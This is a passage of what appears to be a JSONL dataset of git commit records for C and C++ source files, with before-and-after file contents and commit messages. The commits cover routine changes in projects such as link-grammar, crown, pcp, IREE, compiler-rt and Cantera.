Linas Vepstas                                      *\/\n\/* All rights reserved                                                   *\/\n\/*                                                                       *\/\n\/* Use of the link grammar parsing system is subject to the terms of the *\/\n\/* license set forth in the LICENSE file included with this software.    *\/\n\/* This license allows free redistribution and use in source and binary  *\/\n\/* forms, with or without modification, subject to certain conditions.   *\/\n\/*                                                                       *\/\n\/*************************************************************************\/\n\n#include \"dict-api.h\"\n#include \"structures.h\"\n\n\/* The structure below stores a list of dictionary word files. *\/\nstruct Word_file_struct\n{\n\tWord_file * next;\n\tconst char *file;    \/* the file name *\/\n\tbool changed;        \/* TRUE if this file has been changed (XXX unused) *\/\n};\n\nvoid free_Word_file(Word_file * wf);\n\nDict_node * read_word_file(Dictionary dict, Dict_node * dn, char * filename);\n\n","subject":"Add a comment that \"changed\" is unused.","message":"Word_file_struct: Add a comment that \"changed\" is unused.\n","lang":"C","license":"lgpl-2.1","repos":"linas\/link-grammar,linas\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,ampli\/link-grammar,linas\/link-grammar,ampli\/link-grammar,ampli\/link-grammar,linas\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,linas\/link-grammar,ampli\/link-grammar,linas\/link-grammar,ampli\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,opencog\/link-grammar,opencog\/link-grammar,opencog\/link-grammar,linas\/link-grammar,opencog\/link-grammar,linas\/link-grammar,linas\/link-grammar,opencog\/link-grammar,ampli\/link-grammar,opencog\/link-grammar"}
{"commit":"83a2eb0cdc19142fcffc331e1621e04f2504acbe","old_file":"engine\/core\/command_line.h","new_file":"engine\/core\/command_line.h","old_contents":"","new_contents":"\/*\nCopyright (c) 2013 Daniele Bartolini, Michele Rossi\nCopyright (c) 2012 Daniele Bartolini, Simone Boscaratto\n\nPermission is hereby granted, free of charge, to any person\nobtaining a copy of this software and associated documentation\nfiles (the \"Software\"), to deal in the Software without\nrestriction, including without limitation the rights to use,\ncopy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the\nSoftware is furnished to do so, subject to the following\nconditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\nOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\nHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\nFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\nOTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#pragma once\n\n#include \"string_utils.h\"\n\nnamespace crown\n{\n\n\/\/\/ Helper for parsing command line.\nstruct CommandLine\n{\n\tCommandLine(int argc, char** argv)\n\t\t: _argc(argc)\n\t\t, _argv(argv)\n\t{\n\t}\n\n\tint find_argument(const char* longopt, char shortopt)\n\t{\n\t\tfor (int i = 0; i < _argc; i++)\n\t\t{\n\t\t\tif ((shortopt != '\\0' && string::strlen(_argv[i]) > 1 && _argv[i][0] == '-' && _argv[i][1] == shortopt) ||\n\t\t\t\t(string::strlen(_argv[i]) > 2 && _argv[i][0] == '-' && _argv[i][1] == '-' && string::strcmp(&_argv[i][2], longopt) == 0))\n\t\t\t{\n\t\t\t\treturn i;\n\t\t\t}\n\t\t}\n\n\t\treturn _argc;\n\t}\n\n\tconst char* get_parameter(const char* longopt, char shortopt = '\\0')\n\t{\n\t\tint argc = find_argument(longopt, shortopt);\n\t\treturn argc < _argc ? _argv[argc + 1] : NULL;\n\t}\n\n\tbool has_argument(const char* longopt, char shortopt = '\\0')\n\t{\n\t\treturn find_argument(longopt, shortopt) < _argc;\n\t}\n\nprivate:\n\n\tint _argc;\n\tchar** _argv;\n};\n\n} \/\/ namespace crown\n","subject":"Add CommandLine for easier command line parsing","message":"Add CommandLine for easier command line parsing\n","lang":"C","license":"mit","repos":"dbartolini\/crown,mikymod\/crown,dbartolini\/crown,mikymod\/crown,dbartolini\/crown,galek\/crown,taylor001\/crown,taylor001\/crown,taylor001\/crown,galek\/crown,taylor001\/crown,galek\/crown,dbartolini\/crown,mikymod\/crown,mikymod\/crown,galek\/crown"}
{"commit":"9ba94e34a669269b923799cfba6cd12363d78be0","old_file":"src\/libpcp\/src\/avahi.h","new_file":"src\/libpcp\/src\/avahi.h","old_contents":"\/*\n * Copyright (c) 2013 Red Hat.\n * \n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU General Public License as published by the\n * Free Software Foundation; either version 2 of the License, or (at your\n * option) any later version.\n * \n * This program is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY\n * or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License\n * for more details.\n *\/\n#ifndef AVAHI_H\n#define AVAHI_H\n\ntypedef struct __pmServerPresence __pmServerPresence;\n\nvoid __pmServerAvahiAdvertisePresence(__pmServerPresence *) _PCP_HIDDEN;\nvoid __pmServerAvahiUnadvertisePresence(__pmServerPresence *) _PCP_HIDDEN;\n\nint __pmAvahiDiscoverServices(const char *, int, char ***) _PCP_HIDDEN;\n\n#endif \/* AVAHI_H *\/\n","new_contents":"\/*\n * Copyright (c) 2013 Red Hat.\n * \n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU General Public License as published by the\n * Free Software Foundation; either version 2 of the License, or (at your\n * option) any later version.\n * \n * This program is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY\n * or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License\n * for more details.\n *\/\n#ifndef AVAHI_H\n#define AVAHI_H\n\nvoid __pmServerAvahiAdvertisePresence(__pmServerPresence *) _PCP_HIDDEN;\nvoid __pmServerAvahiUnadvertisePresence(__pmServerPresence *) _PCP_HIDDEN;\n\nint __pmAvahiDiscoverServices(const char *, int, char ***) _PCP_HIDDEN;\n\n#endif \/* AVAHI_H *\/\n","subject":"Remove a duplicate definition of __pmServerPresence","message":"Remove a duplicate definition of __pmServerPresence\n","lang":"C","license":"lgpl-2.1","repos":"mbaldessari\/pcp,tjanez\/pcp,aeg-aeg\/pcpfans,prasincs\/pcp,mbaldessari\/pcp,adfernandes\/pcp,adfernandes\/pcp,wuliming\/pcp,andyvand\/cygpcpfans,adfernandes\/pcp,tjanez\/pcp,edwardt\/pcp,edwardt\/pcp,wuliming\/pcp,wuliming\/pcp,aeg-aeg\/pcpfans,aeg-aeg\/pcpfans,mbaldessari\/pcp,edwardt\/pcp,mbaldessari\/pcp,edwardt\/pcp,adfernandes\/pcp,adfernandes\/pcp,adfernandes\/pcp,wuliming\/pcp,andyvand\/cygpcpfans,prasincs\/pcp,prasincs\/pcp,edwardt\/pcp,edwardt\/pcp,aeg-aeg\/pcpfans,wuliming\/pcp,tjanez\/pcp,andyvand\/cygpcpfans,mbaldessari\/pcp,tjanez\/pcp,prasincs\/pcp,edwardt\/pcp,prasincs\/pcp,edwardt\/pcp,adfernandes\/pcp,aeg-aeg\/pcpfans,aeg-aeg\/pcpfans,aeg-aeg\/pcpfans,andyvand\/cygpcpfans,mbaldessari\/pcp,tjanez\/pcp,andyvand\/cygpcpfans,aeg-aeg\/pcpfans,prasincs\/pcp,andyvand\/cygpcpfans,prasincs\/pcp,tjanez\/pcp,wuliming\/pcp,andyvand\/cygpcpfans,wuliming\/pcp,prasincs\/pcp,wuliming\/pcp,adfernandes\/pcp,andyvand\/cygpcpfans,tjanez\/pcp,tjanez\/pcp"}
{"commit":"ed0ac568e3df92d4df9e89d1280da6f2a8ab5f43","old_file":"sort\/isort.c","new_file":"sort\/isort.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\nconst int N = 1e4;\n\nvoid\nisort(int *ns, int n)\n{\n    int i, j, key;\n\n    for(i = 1; i < n; i++) {\n        key = ns[i];\n        for(j = i-1; j >= 0 && key < ns[j]; j--)\n            ns[j+1] = ns[j];\n        ns[j+1] = key;\n    }\n}\n\nint\nmain(void)\n{\n    int i;\n    int *ns = malloc(sizeof(int)*N);\n    for(i = 0; i < N; i++) {\n        ns[i] = N-i;\n    }\n\n    isort(ns, N);\n\n    for(i = 0; i < N; i++) {\n        if(ns[i] != i+1) {\n            fprintf(stderr, \"Index %d is %d, expected %d.\\n\", i, ns[i], i+1);\n            exit(EXIT_FAILURE);\n        }\n    }\n\n    return EXIT_SUCCESS;\n}\n","subject":"Add C implementation of insertion sort.","message":"Add C implementation of insertion sort.\n","lang":"C","license":"mit","repos":"lorenzo-stoakes\/algoholic"}
{"commit":"3238c448c6e26d7c26d2e9b070ef149d066cb6c2","old_file":"include\/asm-arm\/arch-iop3xx\/timex.h","new_file":"include\/asm-arm\/arch-iop3xx\/timex.h","old_contents":"\/*\n * linux\/include\/asm-arm\/arch-iop3xx\/timex.h\n *\n * IOP3xx architecture timex specifications\n *\/\n#include <linux\/config.h>\n\n\n#if defined(CONFIG_ARCH_IQ80321) || defined(CONFIG_ARCH_IQ31244)\n\n#define CLOCK_TICK_RATE IOP321_TICK_RATE\n\n#elif defined(CONFIG_ARCH_IQ80331) || defined(CONFIG_MACH_IQ80332)\n\n#define CLOCK_TICK_RATE IOP331_TICK_RATE\n\n#else\n\n#error \"No IOP3xx timex information for this architecture\"\n\n#endif\n","new_contents":"\/*\n * linux\/include\/asm-arm\/arch-iop3xx\/timex.h\n *\n * IOP3xx architecture timex specifications\n *\/\n#include <linux\/config.h>\n#include <asm\/hardware.h>\n\n#if defined(CONFIG_ARCH_IQ80321) || defined(CONFIG_ARCH_IQ31244)\n\n#define CLOCK_TICK_RATE IOP321_TICK_RATE\n\n#elif defined(CONFIG_ARCH_IQ80331) || defined(CONFIG_MACH_IQ80332)\n\n#define CLOCK_TICK_RATE IOP331_TICK_RATE\n\n#else\n\n#error \"No IOP3xx timex information for this architecture\"\n\n#endif\n","subject":"Fix to allow 2.6.15-rc2 to compile for IOP3xx boards","message":"[ARM] 3173\/1: Fix to allow 2.6.15-rc2 to compile for IOP3xx boards\n\nPatch from Adam Brooks\n\nFixes an issue in 2.6.15-rc2 that prevented compilation of kernels for IOP3xx boards.\n\nSigned-off-by: Adam Brooks <09361c82a05d8914f37dd480ca8e6220ace11550@intel.com>\nSigned-off-by: Russell King <f6aa0246ff943bfa8602cdf60d40c481b38ed232@arm.linux.org.uk>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"b333dcc2e76b8ccad3bdbf93ec55494de0f984d8","old_file":"test\/test-saneopt.c","new_file":"test\/test-saneopt.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n#include <saneopt.h>\n\nvoid test_no_arg() {\n  char** argv;\n\n  saneopt_t* opt = saneopt_init(0, argv);\n  assert(saneopt_get(opt, \"no-option\") == NULL);\n\n  free(opt);\n}\n\nvoid test_no_value() {\n  char** argv = malloc(1 * sizeof(char*));\n\n  argv[0] = \"--option\";\n\n  saneopt_t* opt = saneopt_init(1, argv);\n  assert(strcmp(saneopt_get(opt, \"option\"), \"\") == 0);\n\n  free(argv);\n  free(opt);\n}\n\nvoid test_value() {\n  char** argv = malloc(4 * sizeof(char*));\n\n  argv[0] = \"--option\";\n  argv[1] = \"value\";\n  argv[2] = \"--next-option\";\n  argv[3] = \"--third-option\";\n\n  saneopt_t* opt = saneopt_init(4, argv);\n  assert(strcmp(saneopt_get(opt, \"option\"), \"value\") == 0);\n  assert(strcmp(saneopt_get(opt, \"next-option\"), \"\") == 0);\n  assert(strcmp(saneopt_get(opt, \"third-option\"), \"\") == 0);\n\n  free(argv);\n  free(opt);\n}\n\n\nint main(int argc, char** argv) {\n  test_no_arg();\n  test_no_value();\n  test_value();\n\n  return 0;\n}\n","subject":"Add a bunch of tests","message":"[test] Add a bunch of tests\n","lang":"C","license":"mit","repos":"mmalecki\/saneopt"}
{"commit":"3e11c197042d37ee9c304f59ad83f42cea401a49","old_file":"memsize.c","new_file":"memsize.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <sys\/sysinfo.h>\n#include <stdint.h>\n\nuint64_t get_memory_size()\n{\n\tstruct sysinfo info;\n\tsysinfo( &info );\n\tprintf(\"total ram %lu, mem units %lu\\n\", (size_t)info.totalram, (size_t)info.mem_unit);\n\treturn (size_t)info.totalram * (size_t)info.mem_unit;\n}\n\nint main(int argc, char* argv[])\n{\n\tuint64_t total_memory = get_memory_size();\n\tprintf(\"Total physical memory: %lu\\n\", total_memory);\n\treturn 0;\n}\n\n","subject":"Add memory size info example","message":"Add memory size info example\n","lang":"C","license":"apache-2.0","repos":"tisma\/ctorious,tisma\/ctorious"}
{"commit":"53dbe1c9c8f4ab8d5068fce50677fd955c2b1e30","old_file":"IGIdenticon\/IGIdenticon.h","new_file":"IGIdenticon\/IGIdenticon.h","old_contents":"","new_contents":"\/\/\n\/\/  IGIdenticon.h\n\/\/  IGIdenticon\n\/\/\n\/\/  Created by Evgeniy Yurtaev on 29\/07\/15.\n\/\/  Copyright (c) 2015 Evgeniy Yurtaev. All rights reserved.\n\/\/\n\n#import \"IGImageGenerator.h\"\n#import \"IGSimpleIdenticon.h\"\n#import \"IGGitHubIdenticon.h\"\n#import \"IGHashFunctions.h\"\n","subject":"Add header which imports all files","message":"Add header which imports all files\n","lang":"C","license":"mit","repos":"seaburg\/IGIdenticon,seaburg\/IGIdenticon"}
{"commit":"201ba3681790ed109be1502cfa9ad891de1e2097","old_file":"copasi\/output\/output.h","new_file":"copasi\/output\/output.h","old_contents":"\/* include files for the package output *\/\n\n#include \"CDatum.h\"\n#include \"COutput.h\"\n#include \"COutputLine.h\"\n#include \"COutputList.h\"\n#include \"COutputEvent.h\"\n","new_contents":"\/* include files for the package output *\/\n\n#include \"CDatum.h\"\n#include \"COutput.h\"\n#include \"COutputLine.h\"\n#include \"COutputList.h\"\n#include \"COutputEvent.h\"\n#include \"CNodeO.h\"\n#include \"CUDFunction.h\"\n#include \"CUDFunctionDB.h\"","subject":"Add 3 new classes about User Defined Functions","message":"Add 3 new classes about User Defined Functions\n","lang":"C","license":"artistic-2.0","repos":"copasi\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,copasi\/COPASI,copasi\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,copasi\/COPASI"}
{"commit":"59e44a3ff36e0a67cd39c8e3149d2fdaa089b7d4","old_file":"src\/log_thread.h","new_file":"src\/log_thread.h","old_contents":"\/\/\n\/\/  log_thread.h\n\/\/\n\n#ifndef log_thread_h\n#define log_thread_h\n\n#include \"queue_atomic.h\"\n\nstruct log_thread;\ntypedef std::shared_ptr<log_thread> log_thread_ptr;\n\n#define LOG_BUFFER_SIZE 1024\n\nstruct log_thread : std::thread\n{\n    static const bool               debug;\n    static const int                flush_interval_msecs;\n    \n    FILE*                           file;\n    const size_t                    num_buffers;\n    queue_atomic<char*>             log_buffers_free;\n    queue_atomic<char*>             log_buffers_inuse;\n    time_t                          last_time;\n    std::atomic<bool>               running;\n    std::atomic<bool>               writer_waiting;\n    std::thread                     thread;\n    std::mutex                      log_mutex;\n    std::condition_variable         log_cond;\n    std::condition_variable         writer_cond;\n\n    log_thread(int fd, size_t num_buffers);\n    virtual ~log_thread();\n    \n    void shutdown();\n    void create_buffers();\n    void delete_buffers();\n    void log(time_t current_time, const char* message);\n    void write_logs();\n    void mainloop();\n};\n\n#endif\n","new_contents":"\/\/\n\/\/  log_thread.h\n\/\/\n\n#ifndef log_thread_h\n#define log_thread_h\n\n#include \"queue_atomic.h\"\n\nstruct log_thread;\ntypedef std::shared_ptr<log_thread> log_thread_ptr;\n\n#define LOG_BUFFER_SIZE 1024\n\nstruct log_thread : std::thread\n{\n    static const bool               debug;\n    static const int                flush_interval_msecs;\n    \n    FILE*                           file;\n    const size_t                    num_buffers;\n    queue_atomic<char*>             log_buffers_free;\n    queue_atomic<char*>             log_buffers_inuse;\n    time_t                          last_time;\n    std::atomic<bool>               running;\n    std::atomic<bool>               writer_waiting;\n    std::mutex                      log_mutex;\n    std::condition_variable         log_cond;\n    std::condition_variable         writer_cond;\n    std::thread                     thread;\n\n    log_thread(int fd, size_t num_buffers);\n    virtual ~log_thread();\n    \n    void shutdown();\n    void create_buffers();\n    void delete_buffers();\n    void log(time_t current_time, const char* message);\n    void write_logs();\n    void mainloop();\n};\n\n#endif\n","subject":"Fix thread initialisation race (thread sanitizer)","message":"Fix thread initialisation race (thread sanitizer)\n","lang":"C","license":"isc","repos":"metaparadigm\/latypus,metaparadigm\/latypus,metaparadigm\/latypus,metaparadigm\/latypus"}
{"commit":"b650f4bc8e04662493546c8ab2ab0fbca1081dac","old_file":"iree\/tools\/init_xla_dialects.h","new_file":"iree\/tools\/init_xla_dialects.h","old_contents":"\/\/ Copyright 2020 The IREE Authors\n\/\/\n\/\/ Licensed under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\n\/\/ This files defines a helper to trigger the registration of dialects to\n\/\/ the system.\n\n#ifndef IREE_TOOLS_INIT_XLA_DIALECTS_H_\n#define IREE_TOOLS_INIT_XLA_DIALECTS_H_\n\n#include \"mlir-hlo\/Dialect\/mhlo\/IR\/chlo_ops.h\"\n#include \"mlir-hlo\/Dialect\/mhlo\/IR\/hlo_ops.h\"\n#include \"mlir-hlo\/Dialect\/mhlo\/IR\/lhlo_ops.h\"\n#include \"mlir\/IR\/Dialect.h\"\n\nnamespace mlir {\n\n\/\/ Add all the XLA dialects to the provided registry.\ninline void registerXLADialects(DialectRegistry &registry) {\n  \/\/ clang-format off\n  registry.insert<mlir::chlo::HloClientDialect,\n                  mlir::lmhlo::LmhloDialect,\n                  mlir::mhlo::MhloDialect>();\n  \/\/ clang-format on\n}\n\n}  \/\/ namespace mlir\n\n#endif  \/\/ IREE_TOOLS_INIT_XLA_DIALECTS_H_\n","new_contents":"\/\/ Copyright 2020 The IREE Authors\n\/\/\n\/\/ Licensed under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\n\/\/ This files defines a helper to trigger the registration of dialects to\n\/\/ the system.\n\n#ifndef IREE_TOOLS_INIT_XLA_DIALECTS_H_\n#define IREE_TOOLS_INIT_XLA_DIALECTS_H_\n\n#include \"mlir-hlo\/Dialect\/mhlo\/IR\/chlo_ops.h\"\n#include \"mlir-hlo\/Dialect\/mhlo\/IR\/hlo_ops.h\"\n#include \"mlir\/IR\/Dialect.h\"\n\nnamespace mlir {\n\n\/\/ Add all the XLA dialects to the provided registry.\ninline void registerXLADialects(DialectRegistry &registry) {\n  \/\/ clang-format off\n  registry.insert<mlir::chlo::HloClientDialect,\n                  mlir::mhlo::MhloDialect>();\n  \/\/ clang-format on\n}\n\n}  \/\/ namespace mlir\n\n#endif  \/\/ IREE_TOOLS_INIT_XLA_DIALECTS_H_\n","subject":"Move the lhlo dialect into its own directory.","message":"Move the lhlo dialect into its own directory.\n\nAlso remove it from registerAllMhloDialects and make registrations explicit.\n\nPiperOrigin-RevId: 412411838\n","lang":"C","license":"apache-2.0","repos":"iree-org\/iree,iree-org\/iree,google\/iree,google\/iree,google\/iree,iree-org\/iree,iree-org\/iree,google\/iree,google\/iree,google\/iree,iree-org\/iree,iree-org\/iree,google\/iree,iree-org\/iree"}
{"commit":"57f2821f8ed183036e61f76a8b2fefcc1a1f1cbd","old_file":"src\/morphology\/mainhelper2.h","new_file":"src\/morphology\/mainhelper2.h","old_contents":"#include <iostream>\n#include <vector>\n#include <string>\n\n#include \"erosion.h\"\n#include \"dilation.h\"\n#include \"opening.h\"\n#include \"closing.h\"\n#include \"gradient.h\"\n\n\n\/** run: A macro to call a function. *\/\n#define run( function, ctype, dim ) \\\nif ( operation == #function ) \\\n{ \\\n  if ( componentType == #ctype && Dimension == dim ) \\\n  { \\\n    typedef itk::Image< ctype, dim > ImageType; \\\n    if ( type == \"grayscale\" ) \\\n    { \\\n      function##Grayscale< ImageType >( inputFileName, outputFileName, radius, boundaryCondition, useCompression ); \\\n      supported = true; \\\n    } \\\n    else if ( type == \"binary\" ) \\\n    { \\\n      function##Binary< ImageType >( inputFileName, outputFileName, radius, bin, useCompression ); \\\n      supported = true; \\\n    } \\\n    else if ( type == \"parabolic\" ) \\\n    { \\\n      function##Parabolic< ImageType >( inputFileName, outputFileName, radius, useCompression ); \\\n      supported = true; \\\n    } \\\n  } \\\n}\n\n\/** run2: A macro to call a function. *\/\n#define run2( function, ctype, dim ) \\\nif ( operation == #function ) \\\n{ \\\n  if ( componentType == #ctype && Dimension == dim ) \\\n  { \\\n    typedef itk::Image< ctype, dim > ImageType; \\\n    function< ImageType >( inputFileName, outputFileName, radius, algorithm, useCompression ); \\\n    supported = true; \\\n  } \\\n}","new_contents":"#include <iostream>\n#include <vector>\n#include <string>\n\n#include \"erosion.h\"\n#include \"dilation.h\"\n#include \"opening.h\"\n#include \"closing.h\"\n#include \"gradient.h\"\n\n\n\/** run: A macro to call a function. *\/\n#define run( function, ctype, dim ) \\\nif ( operation == #function ) \\\n{ \\\n  if ( componentType == #ctype && Dimension == dim ) \\\n  { \\\n    typedef itk::Image< ctype, dim > ImageType; \\\n    if ( type == \"grayscale\" ) \\\n    { \\\n      function##Grayscale< ImageType >( inputFileName, outputFileName, radius, boundaryCondition, useCompression ); \\\n      supported = true; \\\n    } \\\n    else if ( type == \"binary\" ) \\\n    { \\\n      function##Binary< ImageType >( inputFileName, outputFileName, radius, bin, useCompression ); \\\n      supported = true; \\\n    } \\\n    else if ( type == \"parabolic\" ) \\\n    { \\\n      function##Parabolic< ImageType >( inputFileName, outputFileName, radius, useCompression ); \\\n      supported = true; \\\n    } \\\n  } \\\n}\n\n\/** run2: A macro to call a function. *\/\n#define run2( function, ctype, dim ) \\\nif ( operation == #function ) \\\n{ \\\n  if ( componentType == #ctype && Dimension == dim ) \\\n  { \\\n    typedef itk::Image< ctype, dim > ImageType; \\\n    function< ImageType >( inputFileName, outputFileName, radius, algorithm, useCompression ); \\\n    supported = true; \\\n  } \\\n}\n","subject":"Fix backslash warning from missing blank line at end of file","message":"Fix backslash warning from missing blank line at end of file\n","lang":"C","license":"apache-2.0","repos":"ITKTools\/ITKTools,ITKTools\/ITKTools,ITKTools\/ITKTools,sderaedt\/ITKTools,sderaedt\/ITKTools,sderaedt\/ITKTools,sderaedt\/ITKTools,sderaedt\/ITKTools,ITKTools\/ITKTools"}
{"commit":"a3e8d4a968060536e210ac5dc177cd097d7df774","old_file":"lib\/interception\/interception_win.h","new_file":"lib\/interception\/interception_win.h","old_contents":"\/\/===-- interception_linux.h ------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file is a part of AddressSanitizer, an address sanity checker.\n\/\/\n\/\/ Windows-specific interception methods.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifdef _WIN32\n\n#if !defined(INCLUDED_FROM_INTERCEPTION_LIB)\n# error \"interception_win.h should be included from interception library only\"\n#endif\n\n#ifndef INTERCEPTION_WIN_H\n#define INTERCEPTION_WIN_H\n\nnamespace __interception {\n\n\/\/ returns true if the old function existed, false on failure.\nbool OverrideFunction(uptr old_func, uptr new_func, uptr *orig_old_func);\n}  \/\/ namespace __interception\n\n#if defined(_DLL)\n# define INTERCEPT_FUNCTION_WIN(func) \\\n    ::__interception::GetRealFunctionAddress( \\\n        #func, (::__interception::uptr*)&REAL(func))\n#else\n# define INTERCEPT_FUNCTION_WIN(func) \\\n    ::__interception::OverrideFunction( \\\n        (::__interception::uptr)func, \\\n        (::__interception::uptr)WRAP(func), \\\n        (::__interception::uptr*)&REAL(func))\n#endif\n\n#define INTERCEPT_FUNCTION_VER_WIN(func, symver) \\\n    INTERCEPT_FUNCTION_WIN(func)\n\n#endif  \/\/ INTERCEPTION_WIN_H\n#endif  \/\/ _WIN32\n","new_contents":"\/\/===-- interception_linux.h ------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file is a part of AddressSanitizer, an address sanity checker.\n\/\/\n\/\/ Windows-specific interception methods.\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifdef _WIN32\n\n#if !defined(INCLUDED_FROM_INTERCEPTION_LIB)\n# error \"interception_win.h should be included from interception library only\"\n#endif\n\n#ifndef INTERCEPTION_WIN_H\n#define INTERCEPTION_WIN_H\n\nnamespace __interception {\n\n\/\/ returns true if the old function existed, false on failure.\nbool OverrideFunction(uptr old_func, uptr new_func, uptr *orig_old_func);\n}  \/\/ namespace __interception\n\n#if defined(_DLL)\n# error Not implemented yet\n#else\n# define INTERCEPT_FUNCTION_WIN(func) \\\n    ::__interception::OverrideFunction( \\\n        (::__interception::uptr)func, \\\n        (::__interception::uptr)WRAP(func), \\\n        (::__interception::uptr*)&REAL(func))\n#endif\n\n#define INTERCEPT_FUNCTION_VER_WIN(func, symver) \\\n    INTERCEPT_FUNCTION_WIN(func)\n\n#endif  \/\/ INTERCEPTION_WIN_H\n#endif  \/\/ _WIN32\n","subject":"Remove one more reference to __interception::GetRealFunctionAddress (follow-up to r215707)","message":"[ASan\/Win] Remove one more reference to __interception::GetRealFunctionAddress (follow-up to r215707)\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@215722 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"40206332871e11ee28c6d163797cb374da2663e9","old_file":"src\/python\/pylogger.h","new_file":"src\/python\/pylogger.h","old_contents":"#ifndef PYLOGGER_H\n#define PYLOGGER_H\n\n#include \"Python.h\"\n#include <string>\n#include \"cantera\/base\/logger.h\"\n\nnamespace Cantera\n{\n\n\/\/\/ Logger for Python.\n\/\/\/ @ingroup textlogs\nclass Py_Logger : public Logger\n{\npublic:\n    Py_Logger() {\n        PyRun_SimpleString(\"import sys\");\n    }\n    virtual ~Py_Logger() {}\n\n    virtual void write(const std::string& s) {\n        std::string ss = \"sys.stdout.write(\\\"\\\"\\\"\";\n        ss += s;\n        ss += \"\\\"\\\"\\\")\";\n        PyRun_SimpleString(ss.c_str());\n        PyRun_SimpleString(\"sys.stdout.flush()\");\n    }\n\n    virtual void error(const std::string& msg) {\n        std::string err = \"raise \\\"\"+msg+\"\\\"\";\n        PyRun_SimpleString((char*)err.c_str());\n    }\n};\n}\n\n#endif\n","new_contents":"#ifndef PYLOGGER_H\n#define PYLOGGER_H\n\n#include \"Python.h\"\n#include <string>\n#include \"cantera\/base\/logger.h\"\n\nnamespace Cantera\n{\n\n\/\/\/ Logger for Python.\n\/\/\/ @ingroup textlogs\nclass Py_Logger : public Logger\n{\npublic:\n    Py_Logger() {\n        PyRun_SimpleString(\"import sys\");\n    }\n    virtual ~Py_Logger() {}\n\n    virtual void write(const std::string& s) {\n        std::string ss = \"sys.stdout.write(\\\"\\\"\\\"\";\n        ss += s;\n        ss += \"\\\"\\\"\\\")\";\n        PyRun_SimpleString(ss.c_str());\n        PyRun_SimpleString(\"sys.stdout.flush()\");\n    }\n\n    virtual void error(const std::string& msg) {\n        std::string err = \"raise Exception(\\\"\\\"\\\"\"+msg+\"\\\"\\\"\\\")\";\n        PyRun_SimpleString(err.c_str());\n    }\n};\n}\n\n#endif\n","subject":"Fix Py_Logger to raise instances of Exception instead of strings","message":"Fix Py_Logger to raise instances of Exception instead of strings\n\nRaising string exceptions was removed in Python 2.6\n\ngit-svn-id: e76dbe14710aecee1ad27675521492cea2578c83@1932 02a645c2-efd0-11dd-984d-ab748d24aa7e\n","lang":"C","license":"bsd-3-clause","repos":"Cantera\/cantera-svn,Cantera\/cantera-svn,Cantera\/cantera-svn,Cantera\/cantera-svn,Cantera\/cantera-svn,Cantera\/cantera-svn"}
